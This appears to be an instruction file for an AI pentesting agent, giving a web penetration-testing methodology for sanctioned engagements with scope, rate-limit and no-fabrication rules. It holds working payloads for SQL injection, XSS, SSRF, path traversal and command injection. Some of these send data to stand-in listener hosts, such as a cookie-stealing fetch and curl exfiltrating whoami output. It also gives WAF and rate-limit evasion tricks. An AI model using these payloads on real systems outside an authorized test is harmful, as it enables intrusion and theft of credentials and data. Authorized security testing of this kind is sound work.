web-pentest

name	web-pentest
description	Full web application penetration testing methodology for Pi agent. Covers reconnaissance, attack classes, detection, confirmation, evasion, and reporting. Use when the agent must test a live web target within a sanctioned engagement. Replaces the removed engage tool.

Web Pentest Methodology

ExploitSearch Integration

XPI has access to the ExploitSearch security corpus. Use it at every stage:

• Recon — after fingerprinting tech, search for known CVEs, attack techniques, and evasion patterns specific to that framework/version
• Probe — before or during an attack class, search for the latest techniques, payloads, and bypasses. The inline methodology below covers the core techniques, but ExploitSearch may surface newer or more specific variants
• Evasion — when a WAF or filter blocks you, search for bypass techniques for that specific filter/WAF
• Confirmation — search for known PoCs or detection patterns for the class you're testing

# Example — during recon
ExploitSearch(query="django 5.0 known CVEs")

# Example — during probe, standard techniques blocked
ExploitSearch(query="WAF bypass SQLi no-error")

# Example — confirming a technique
ExploitSearch(query="command injection out-of-band detection")

Prefer ExploitSearch over the inline methodology when:

• You're working against a specific known tech stack (Tomcat, Express, Django, etc.)
• Standard techniques produced no result and you need a novel variant
• A WAF is blocking standard payloads and you need evasion patterns
• You need a PoC template for a known CVE

Don't skip the inline methodology and go straight to ExploitSearch. The core techniques are ordered by likelihood and should be tried first. Use ExploitSearch as a force multiplier when the basics don't work, not a replacement for them.

---

Hard Rules

• Never create accounts autonomously. No signup, no registration, no disposable inboxes, no temp mail. If the target requires auth, the user supplies credentials.
• Never scan outside authorized scope. Check every URL against the engagement scope before hitting it. If unsure, ask the user.
• Never DoS. Concurrency ≤ 10 threads, rate ≤ 50 req/min for fuzzing. Stop on 429 (rate limit) or 403 (WAF block).
• No fabrication. A finding that doesn't reproduce against the live target is dismissed. "Theoretically vulnerable" doesn't count.
• Record everything. Each technique tried goes in the casefile evidence field with the request, response, and conclusion.

---

1. Workflow

1. RECON        — fingerprint tech, map endpoints, understand auth
2. MAP          — parameter discovery, content discovery, identify attack surface
3. PROBE        — per-class testing, ordered techniques, stop-on-confirm
4. CONFIRM      — reproduce independently, eliminate false positives
5. ESCALATE     — chain findings, pivot to higher-impact
6. REPORT       — evidence, reproducible PoC, severity, fix suggestion

Each phase feeds the next. Don't skip recon — it determines which attack classes are relevant.

Before each phase, check ExploitSearch for techniques, CVEs, and evasion patterns relevant to the target's tech stack and the attack class you're investigating.

---

2. Reconnaissance

Before any payload, learn the target.

Technology fingerprinting

# Identify tech stack, server, framework
curl -sI https://target.com | grep -iE 'server|x-powered-by|x-aspnet|set-cookie'
curl -s https://target.com | grep -iE '<meta name="generator"|wp-content|drupal|laravel|next\.js'

Check:

• Server: Apache, Nginx, IIS, cloudfront, Cloudflare
• Framework: React, Angular, Django, Rails, Laravel, ASP.NET
• Language: PHP, Java (JSESSIONID cookie), Python, Go, Node
• Auth: cookie name, JWT in Authorization header, session token in response body
• API style: REST (paths like /api/v1/users), GraphQL (endpoint /graphql), SOAP (WSDL endpoints)
• Known CVEs: search ExploitSearch for "<tech> <version> CVE" after fingerprinting

Endpoint discovery

# Read the client-side bundle for hidden routes
curl -s https://target.com/main.js | grep -oP '["'\'']/[a-zA-Z0-9_/{}]+["'\'']' | sort -u

# Check common API paths
for path in api swagger graphql admin health .env .git/config backup; do
  code=$(curl -s -o /dev/null -w "%{http_code}" https://target.com/$path)
  echo "$path → $code"
done

# Discover parameters via introspection, common endpoints
httpx -u https://target.com -t 10 -tl -json | jq '.tech'

Identify:

• Public vs authenticated endpoints
• Parameterized routes (/user/{id}, /post/{slug})
• Upload endpoints (/upload, /media, /files)
• Admin/management interfaces
• API docs (Swagger, GraphiQL, OpenAPI)

Auth mapping

# Compare responses with and without auth
curl -s -o authed.txt https://target.com/admin
curl -s -o noauth.txt -b "session=invalid" https://target.com/admin
diff authed.txt noauth.txt

Map the auth boundary: which endpoints require auth, which accept unauthenticated requests, how the target signals denied access (401 vs 302 vs 200 with error body).

---

3. Auth & Session Handling

Storing credentials

The user supplies auth. Store transiently in env vars, never in files:

# Cookie auth — capture from browser dev tools or user input
export TARGET_COOKIE="session=eyJ...; csrf=abc123"

# Bearer token
export TARGET_TOKEN="eyJraWQiOiJ..."

# Basic auth
export TARGET_CRED="user:pass"

Session management across requests

Some targets rotate tokens or CSRF tokens per request. Handle them:

# Extract CSRF token from response, use in next request
RESP=$(curl -s -c cookies.txt https://target.com/login)
CSRF=$(echo "$RESP" | grep -oP 'name="csrf" value="\K[^"]+')
curl -s -b cookies.txt -c cookies.txt \
  -d "csrf=$CSRF&user=..." https://target.com/login

# Extract JWT from response body
RESP=$(curl -s -X POST -d '{"user":"...","pass":"..."}' https://target.com/api/login)
JWT=$(echo "$RESP" | jq -r '.token')
export TARGET_TOKEN="$JWT"

Use -c cookies.txt to capture set-cookie headers and -b cookies.txt to replay them. Clean up the temp file after the engagement.

Multiple auth levels

Some targets have user/admin roles. Track separately or re-auth for each privilege level. Test each endpoint at every available role level.

---

4. Per-Attack-Class Methodology

Each section follows the same structure:

1. Checklist — signs the class might be present
2. Techniques — ordered by likelihood/noise/reliability (best first)
3. Detection — how to tell if it worked
4. Confirmation — how to eliminate false positives
5. Evasion — WAF/input-filter bypasses

---

4.1 Injection (SQL, NoSQL, LDAP, XPath)

Checklist:

• Dynamic queries in URL parameters, POST bodies, headers
• Search/sort/filter endpoints that take field names
• JSON/XML APIs that accept raw queries
• Login forms, search bars, API endpoints with ID parameters

SQL Injection techniques (in order):

1. BASIC TIMING     — detect injectable parameters
   ' OR SLEEP(5)--
   " OR SLEEP(5)--
   ) OR SLEEP(5)--
   [sleep(5)]

2. ERROR-BASED      — extract via error messages
   ' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT database())))--

3. UNION-BASED      — combine with original query
   ' UNION SELECT NULL,NULL,NULL--  (increment NULLs until column count matches)
   ' UNION SELECT 1,database(),version()--

4. BLIND BOOLEAN    — infer data via true/false responses
   ' AND 1=1--  (true — normal response)
   ' AND 1=2--  (false — different response, different timing)

5. BLIND TIME-BASED — infer data via delay
   ' IF(1=1, SLEEP(5), 0)--
   ' ;WAITFOR DELAY '0:0:5'--

6. OUT-OF-BAND      — exfiltrate via DNS/HTTP callback
   ' EXEC xp_cmdshell 'nslookup ' + (SELECT database()) + '.burpcollab.net'
   LOAD_FILE(CONCAT('\\\\', (SELECT database()), '.burpcollab.net\\a'))

Detection:

• Timing: request takes ≥5s longer than baseline
• Error: database error message in response (MySQL, ORA-, PG, SQLite)
• Union: extra columns in response table, reflected values (e.g., 1, database(), version() showing in output)
• Boolean: consistent difference between true/false responses (status code, content length, body text)
• OOB: callback received on your listener

Confirmation:

• Signal and prove extraction of real data (not a reflection)
• For boolean/time: extract at least 2 characters and confirm the value is correct

NoSQL Injection (MongoDB):

JSON: {"user": {"$gt": ""}, "pass": {"$gt": ""}}
URL:  user[$gt]=&pass[$gt]=
      user[$ne]=doesnotexist&pass[$ne]=doesnotexist
REST: /api/user?$where=dies
      /api/user?id[$ne]=1

---

4.2 Cross-Site Scripting (XSS)

Checklist:

• User input reflected anywhere in HTML response
• URL parameters, search bars, error messages, form values
• JSON responses used in client-side rendering
• File upload names, metadata displayed on page

Reflected XSS techniques (in order):

1. PLAIN TAG
   <script>alert(1)</script>

2. EVENT HANDLER
   <img src=x onerror=alert(1)>
   <svg onload=alert(1)>
   <body onload=alert(1)>

3. ATTRIBUTE BREAKOUT
   " onclick=alert(1)
   ' onfocus=alert(1) autofocus
   " autofocus onfocus=alert(1)

4. JAVASCRIPT CONTEXT
   '-alert(1)-'
   ';alert(1)//
   \";alert(1);//

5. TEMPLATE LITERAL
   ${alert(1)}

6. POLYGLOT
   """'><img src=x onerror=alert(1)>

Stored XSS:

• Submit payload through a form/API (profile bio, comment, post title, etc.)
• Access the stored data from a different session (incognito, different browser)
• Verify the payload executes in the viewer's context, not the submitter's

DOM-based XSS:

• Identify URL fragment (hash) and URL-search sinks in client-side JS
• Sources: location.hash, location.search, document.URL, document.referrer, window.name
• Sinks: innerHTML, outerHTML, document.write, eval, setTimeout with string arg
• Check JavaScript source maps for third-party libraries

Detection:

• Reflection: payload appears in response body (unescaped)
• Execution: confirmed in a headless context or via alert(1) / fetch(callback_url)
• For blind/stored: check if the stored data executes when the page is viewed

Confirmation:

• Use fetch('https://your-listener/steal?cookie='+document.cookie) or similar callback
• A simple <script>alert(1)</script> that renders is enough for reflected
• For stored: confirm from a second browser session (different IP, clear cookies)

WAF Evasion:

• Mixed case: <sCript>alert(1)</scRipt>
• Broken encoding: %3Cscript%3E (URL), <script (HTML entities)
• Unusual tags: <details/open/ontoggle=alert(1)>
• Polyglots (combine multiple syntaxes in one payload)
• Uninitialized variables in eval context

---

4.3 Broken Access Control (IDOR, BOLA, Privilege Escalation)

Checklist:

• User IDs, account numbers, order IDs in URL parameters or request bodies
• Admin/management endpoints accessible without checking role
• Token-based auth where the user identifier is derived from the token
• Mobile/API endpoints that don't enforce the same checks as web UI

Techniques:

1. NUMERIC IDOR
   GET /api/user/1  → try /api/user/2, /api/user/3
   PUT /api/profile/1  → change to /api/profile/2

2. UUID/GUID IDOR
   If UUIDs are predictable (sequential UUIDv1, timestamp-based), enumerate
   If opaque but leaked (in email, referrer, logs), collect and cycle through

3. MISSING FUNCTION-LEVEL ACCESS CONTROL
   Try admin endpoints without admin privileges
   /admin, /api/admin, /api/users, /api/config, /api/migrate

4. HTTP METHOD OVERRIDE
   GET /api/transfer?id=123  (blocked)
   POST /api/transfer  with _method=GET  (bypass via method override)
   X-HTTP-Method-Override: GET

5. PARAMETER POLLUTION
   GET /api/user?id=123&id=456  (some parsers take the second)
   GET /api/user?id=123  →  GET /api/user?id[]=123  (type confusion)

6. INCREMENTAL ENUMERATION
   /api/v1/users/1  →  /api/v2/accounts/1  (version difference bypass)

Detection:

• Same endpoint, different identifier, same response content (data leakage)
• Other user's data returned when you request their ID
• Admin features accessible without admin role
• Different HTTP method returns data that GET blocks

Confirmation:

• Compare the response for your own resource vs another user's
• Verify the leaked data is not meant to be accessible
• For privilege escalation: escalate from lowest privilege to highest and compare accessible features

---

4.4 Server-Side Request Forgery (SSRF)

Checklist:

• URL input fields (webhook URLs, profile image URLs, feed import, etc.)
• File fetching from remote URLs
• PDF generators that accept a URL input
• Proxy/forward functionality

Techniques (in order):

1. LOCALHOST
   url=http://127.0.0.1:80
   url=http://localhost:22
   url=http://[::1]:8080
   url=http://0.0.0.0:3306

2. CLOUD METADATA
   url=http://169.254.169.254/latest/meta-data/
   url=http://metadata.google.internal/

3. DNS TRICKS
   url=http://127.0.0.1.nip.io:80
   url=http://spoofed.burpcollab.net  (DNS rebinding)

4. PROTOCOL SMUGGLING
   url=file:///etc/passwd
   url=gopher://127.0.0.1:6379/_*2%0d%0a...
   url=dict://127.0.0.1:11211/

5. REDIRECT-BASED BYPASS
   Host an HTTP redirect on your server that points to 127.0.0.1
   url=http://your-server/redirect-to-localhost

Detection:

• Response contains local service data (HTML from internal app, /etc/passwd contents, cloud metadata)
• Timing differences (slow internal request, connection timeout from non-routable IP)
• Error messages leak internal IP addresses or hostnames
• Out-of-band: callback received from the target server's internal IP

Confirmation:

• Prove the request was made from the internal network (via OOB, timing, or response content)
• Identify which internal service was hit and what data was accessed
• For cloud metadata: confirm you received instance credentials

---

4.5 Path Traversal / Local File Inclusion

Checklist:

• File download endpoints (download?file=, readFile?path=, template=)
• File serving (/uploads/, /files/, /media/)
• Image processing endpoints that accept file paths
• Log viewers, debug pages, error pages with stack traces

Techniques:

1. BASIC
   ../../../etc/passwd
   ..\..\..\windows\win.ini
   ....//....//....//etc/passwd  (bypass for simple ".." filters)

2. URL ENCODING
   %2e%2e%2f%2e%2e%2f%2e%2e%2fetc/passwd
   ..%252f..%252f..%252fetc/passwd  (double URL encoding)

3. UNICODE BYPASS
   ..%c0%af..%c0%af..%c0%afetc/passwd  (overlong UTF-8 encoding)
   ..%u002f..%u002f..%u002f  (unicode encoding)

4. NULL BYTE INJECTION
   ../../../etc/passwd%00.png  (truncate extension check)
   ../../../etc/passwd%00

5. ABSOLUTE PATH OVERRIDE
   /etc/passwd  (system accepts absolute paths directly)

6. FILE WRAPPER
   php://filter/convert.base64-encode/resource=index.php
   file:///etc/passwd

Detection:

• File content in response (passwd file shows user accounts, source code contains sensitive strings)
• Error messages reveal file paths or confirm the file exists vs doesn't
• Timing: large file vs small file response time difference

Confirmation:

• Read at least 2 known files and verify their content matches expectations
• For source code disclosure: extract a full file and verify it's valid source (syntax, patterns)

---

4.6 Command Injection

Checklist:

• Input passed to shell commands (ping, nslookup, traceroute, dig)
• Server names, hostnames, IP inputs that get resolved
• File processing endpoints (ImageMagick, ffmpeg, PDF generation)
• Unsanitized input in system()/exec()/popen() calls

Techniques:

1. COMMAND CHAINING
   ; id
   | id
   `id`
   $(id)
   || id
   && id

2. NEWLINE/CRLF INJECTION
   %0aid
   %0a%0aid
   \r\nid

3. SUBSHELL
   $(cat /etc/passwd)
   `cat /etc/passwd`
   {cat,/etc/passwd}  (bash brace expansion)

4. TIME-BASED DETECTION
   ; sleep 5
   | ping -c 5 127.0.0.1

5. OUT-OF-BAND
   ; curl https://your-listener/$(whoami)
   | nslookup $(hostname).burpcollab.net

Detection:

• Command output in the response (if reflected)
• Time delay (sleep/ping/Wget confirmation)
• Out-of-band callback with hostname/username data

Confirmation:

• Read a specific file and verify its content
• Get a unique OOB callback with crafted data
• Verify the user (www-data, root, app user) via OOB

---

4.7 Insecure Deserialization

Checklist:

• Java applications with serialized objects (JSESSIONID, viewstate, __VIEWSTATE)
• PHP unserialize (serialized data in cookies, POST parameters)
• Python pickle in API data
• .NET ObjectStateFormatter/ViewState
• Ruby Marshal.load, YAML.load

Detection per platform:

JAVA:
  Cookie values starting with rO0AB (base64 serialized Java)
  Binary blobs with Java serialization magic bytes (aced0005)
  Try URLDns:  curl -b "session=..." — OOB confirms deserialization point

PHP:
  Serialized format: a:1:{s:4:"user";s:5:"admin";}
  Try modifying serialized values to bypass auth

.NET:
  ViewState in hidden input field
  MAC validation disabling: set __VIEWSTATEMAC param

PYTHON:
  pickle: (dp0\nS'user'\np1\nS'admin'\np2\ns.
  JSON with __reduce__, __setstate__, etc.

RUBY:
  YAML.load type confusion on user-controlled YAML input
  Cookie values starting with BAhs (base64 Marshal)

---

4.8 Business Logic / Workflow Flaws

Checklist:

• Multi-step processes (checkout, signup, password reset)
• State-dependent operations
• Race conditions in concurrent operations
• Money/value manipulation (discounts, coupons, cart prices)
• Rate-limit bypasses on authentication

Common patterns:

PRICE MANIPULATION:
  Change price/cost/amount in POST body before submitting
  Negative quantities, fractional quantities, overflow values

RACE CONDITION:
  Send multiple concurrent requests for the same limited resource
  Sign up same email twice, redeem same coupon twice
  Use curl in parallel shell loops

STATE MANIPULATION:
  Skip steps in multi-step workflows
  Replay an old step after the workflow progressed
  Use a stale token/CSRF in a new session

RATE LIMIT BYPASS:
  Rotate X-Forwarded-For IP
  Add junk headers to vary the request signature
  Login timing attack (no rate limit on password check)

---

5. Evasion Basics

WAF / Input Filter Bypass

First: search ExploitSearch for WAF-specific bypasses. Cloudflare, Akamai, F5, and mod_security each have known bypass patterns that change over time.

# Example
ExploitSearch(query="Cloudflare WAF SQLi bypass 2025")
ExploitSearch(query="mod_security CRS rule bypass XSS")

When search doesn't surface a bypass, fall back to these general techniques:

CASE VARIATION:      <sCript> vs <script>
COMMENT INJECTION:   /**/OR/**/1=1
ENCODING LAYERING:   URL → HTML entity → double URL
UNINITIALIZED VARS:  [undefined undefined undefined undefined 1]  (JSFuck)
HOMOGLYPH ATTACK:    using Cyrillic 'е' instead of Latin 'e' in parameter names
PARAMETER POLLUTION: ?id=1&id=2  (some parsers take the second, some the first)
UNICODE NORMALIZATION: %C0%AE%C0%AE/  (overlong encoding for "../")

Rate Limit Bypass

IP ROTATION:
  X-Forwarded-For: $RANDOM_IP
  X-Real-IP: $RANDOM_IP
  X-Originating-IP: $RANDOM_IP

HEADER VARIATION:
  Randomize User-Agent per request
  Randomize Accept/Accept-Language

TIMING:
  Add random delay between requests ±50%
  Slow down on 429, wait Retry-After header value

---

6. Confirmation

A finding is only real when it reproduces independently.

Prerequisites for confirmation

1. Same payload produces the same result across 3 requests
2. Null request (no payload) does NOT produce the same result
3. The result is distinguishable from noise

Confirmation by class

Class	Confirm by
SQLi	Extract 2+ bytes of real database content, verify correctness
XSS	alert(1) fires OR callback received on listener
IDOR	Another user's data returned, reproducible with their identifier
SSRF	Internal service response OR OOB callback from internal IP
Path traversal	Content of 2+ known files, verified
Command injection	Command output in response OR OOB with unique data
Deserialization	Valid OOB callback on DNS interaction

---

7. Tools Reference

Tool	Use case	Auth	Rate limit
curl	Single requests, PoC reproduction, manual exploration	-b, -H, -u	Manual sleep
httpx	Endpoint discovery, tech detection, host probing	-H	-rl 50
ffuf	Parameter fuzzing, content discovery, directory brute force	-H, -b	-rate 50 -t 10
nuclei	Template-based scanning, CVE verification	env vars	-rl 50
jq	Parse JSON responses, extract values for chaining	—	—
grep/rg	Pattern matching in responses	—	—

All called via bash. No custom tool needed.

---